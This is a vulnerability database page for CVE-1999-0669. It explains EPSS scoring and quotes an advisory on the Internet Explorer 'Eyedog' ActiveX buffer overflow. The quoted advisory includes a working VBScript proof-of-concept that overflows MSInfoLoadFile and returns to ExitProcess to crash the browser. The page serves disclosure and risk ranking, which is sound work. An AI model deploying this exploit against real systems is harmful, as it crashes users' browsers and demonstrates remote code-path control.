CVE-1999-0669 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX "Eyedog" Vulnerability source: https://www.securityfocus.com/bid/619/info The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email. With this control, MSInfoLoadFile is the offending method. There is no easy way to RET to our code, so instead, I have shown how to simply RET to ExitProcess directly. This will cause the host to terminate. <object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA" id="eye"></object> <script language="vbscript"><!-- msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written by Shane Hird") 'Padding for the exploit expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA" 'RET address (ExitProcess, BFF8D4CA) expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'Call exploitable method (MSInfoLoadFile) eye.MSInfoLoadFile(expstr) --></script>
